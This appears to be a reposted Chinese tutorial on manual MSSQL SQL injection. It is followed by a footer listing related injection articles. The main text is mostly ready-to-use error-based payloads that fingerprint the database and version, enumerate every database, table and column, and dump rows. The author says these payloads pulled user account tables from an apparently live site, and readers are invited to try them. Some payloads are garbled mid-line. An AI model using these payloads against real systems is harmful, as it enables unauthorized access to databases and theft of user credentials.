MSSQL注入

判断数据库类型
and exists (select * from sysobjects)--返回正常为mssql(也名sql server)
and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈

判断数据库版本
       and [email protected]@version--这个语句要在有回显的模式下才可以哦
       and substring((select @@version),22,4)=‘2008‘--适用于无回显模式,后面的2008就是数据库版本,返回正常就是2008的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是2008的话就返回正常)

获取所有数据库的个数 (一下3条语句可供选择使用)   
1. and 1=(select quotename(count(name)) from master..sysdatabases)--
2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --
3. and 1=(select str(coun、    and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)--
    and 1=(select str(count(name))%2b‘|‘ from master..sysdatabases where dbid>5) --
    and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --
说明:dbid从1-4的数据库一般为系统数据库.

获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)   
    and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(‘‘))--
    and 1=(select ‘|‘%2bname%2b‘|‘ from master..sysdatabases FOR XML PATH(‘‘))--

获取当前数据库  
and db_name()>0

and 1=(select db_name())--

获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于mssql2005及以上版本)】
    and 1=(select quotename(name) from 数据库名..sysobjects where xtype=‘U‘ FOR XML PATH(‘‘))-- 
    and 1=(select ‘|‘%2bname%2b‘|‘ from 数据库名..sysobjects where xtype=‘U‘ FOR XML PATH(‘‘))--复制代码测试效果图:得到 3个敏感的表:Whir_Sec_Users/Whir_Mem_Member/Whir_Mem_MemberGroup

获得表里的列
一次爆指定表的所有列(只限于mssql2005及以上版本):
    and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name=‘指定表名‘) FOR XML PATH(‘‘))-- 
    and 1=(select ‘|‘%2bname%2b‘|‘ from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name=‘指定表名‘) FOR XML PATH(‘‘))--

效果图:既然有账户信息,我就不管是不是管理员的的了,我帖子的目的不是为了得到管理员的信息,只是为了演示可以通过这个方法来获取相关信息。

获取指定数据库中的表的列的数据库
逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):
    and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(‘‘))--
一次性爆N条所有字段的数据(只限于mssql2005及以上版本):
    and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(‘‘))--复制代码第一条语句:and 1=(select top 1 * from 指定数据库..指定表名 FOR XML PATH(‘‘))--测试效果图:----------------------------------加上where条件筛选结果出来会更加好,如:where and name like ‘%user%‘  就会筛选出含有user关键词的出来。用在筛选表段时很不错。

注意:在使用一次获取数据库信息的语句时,请使用火狐浏览器,笔者测试 IE8、360急速浏览器、猎豹浏览器均卡死,火狐浏览器也会导致出现几秒钟的卡死,弹出框框,我们点击“停止脚本”就会得到初步解决。!!!!!!!!!!!!!!!!!!!!至此,我们已经得到了账户信息了,至于管理员的呢,哈哈,大家自行测试时换表啥的就好了。

转载自:http://www.myhack58.com/Article/html/3/8/2015/63146.htm



MSSQL注入

时间: 2024-08-24 01:25:24

MSSQL注入的相关文章

学习笔记五-sql之access和mssql注入

1,access数据库的介绍 关系数据库管理系统,微软的小型数据库 优势:提高速度,减少代码量,避免使用过程调用 缺陷:数据过大,性能下降,数据库刷写导致问题,安全不行 后缀名为*.mdb 打开工具:辅臣,破障 搭建平台:小旋风aspweb工具 2,access数据库调用分析 asp网站,(id=)参数传递,看到参数,看查询语句,使用破障分析数据 代码审计看是否有过滤 3,access注入原理 首先判断是否存在注入点 '    ,and 1=1,and 1=2, 如果前面的过滤掉了,用后面的判断

mssql注入——环境搭建

mssql 注入参考语句:   https://websec.ca/kb/sql_injection 结尾:这个环境搭建还真的麻烦,目前只是装了mssql,web环境还是算了…… 原文地址:https://www.cnblogs.com/blogs-1024/p/11337385.html

MSSQL注入语句

(1)                                                                                  判断数据库类型:                                                                                   Access:  aNd aSc(cHr(97))=97 and exists(select id from MSysAccessObjects)

啊D工具语句 适合Access和Mssql注入

啊D注入工具中使用的SQL注入语句 爆user and char(124)+user+char(124)=0 ****char(124)= | ***** ?Id=1659%20and%20char(124)%2Buser%2Bchar(124)=0 and 1=1 : ?Id=1659%20%61%6E%64%20%31%3D%31 and 1=2: Id=1659%20%61%6E%64%20%31%3D%32 检查SA权限:And char(124)+Cast(IS_SRVROLEMEMB

手工MSSQL注入常用SQL语句

个人收集整理 and exists (select * from sysobjects) //判断是否是MSSQL and exists(select * from tableName) //判断某表是否存在..tableName为表名 and 1=(select @@VERSION) //MSSQL版本 And 1=(select db_name()) //当前数据库名 and 1=(select @@servername) //本地服务名 and 1=(select IS_SRVROLEME

网络安全从入门到精通 (第五章-3) MSSQL反弹注入

本文内容: MSSQL反弹注入使用场景 MSSQL反弹注入语句解析 MSSQL反弹注入具体流程 MSSQL显错注入具体流程 1,MSSQL反弹注入使用场景: 1.前言: MSSQL注入攻击是最为复杂的数据库技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句早就了新颖独特的攻击思路. 2.MSSQL反弹注入: 明明是SQL注入点,却无法进行注入,注入工具猜解的速度异常缓慢,错误提示信息关闭,无法返回注入结果等,这些都是在注入攻击中常常遇到的问题. 为了解以上这些疑难杂症,

MSSQL DBA权限获取WEBSHELL的过程

前言 本文主要通过一个案例来演示一下当MSSQL是DBA权限,且不知道路径的时候如何去获取WEBSHELL.当然这种方式对站库分离的无效.我测试的环境是在Win7 64位下,数据库是SQLServer 2000,IIS版本是7.5,程序是采用风讯的CMS.后台登录后有多处注入,因为这里是演示用注入获取WEBSHELL,因此就不考虑后台上传的情况了,只是用注入来实现. 过程 首先找到一个如下的注入点: http://192.168.232.138:81/manage/news/Newslist.a

MySQL机sqlserver注射和php注入

最近在学习MySQL和sqlserver数据库,由于我的专业是信息安全,所以把web安全涉及到的注入全部总结了一下,里面涉及到内容比较多.希望想学习的提前要对这两种数据库有一定了解,才能更好的学习盲注. 1)database(),version(),user() union联合查询,因为只有版本大于4.0,才会支持union查询 .并且只有两个表列数相同时,才会返会正确的表. 有一个information_schema数据库,库里面有一个 http://www.a.com/cms/new.php

开发反模式 - SQL注入

一.目标:编写SQL动态查询 SQL常常和程序代码一起使用.我们通常所说的SQL动态查询,是指将程序中的变量和基本SQL语句拼接成一个完整的查询语句. string sql = SELECT * FROM Person WHERE Id = $Id 我们期望$Id是一个整型,因此当数据库接收到这个请求时,$Id的值就是查询语句的一部分. SQL动态查询是有效利用数据库很自然的方法.当你使用程序内的变量来指定如何进行查询时,就是将SQL作为连接程序和数据库的桥梁.程序和数据库之间通过这种方式进行“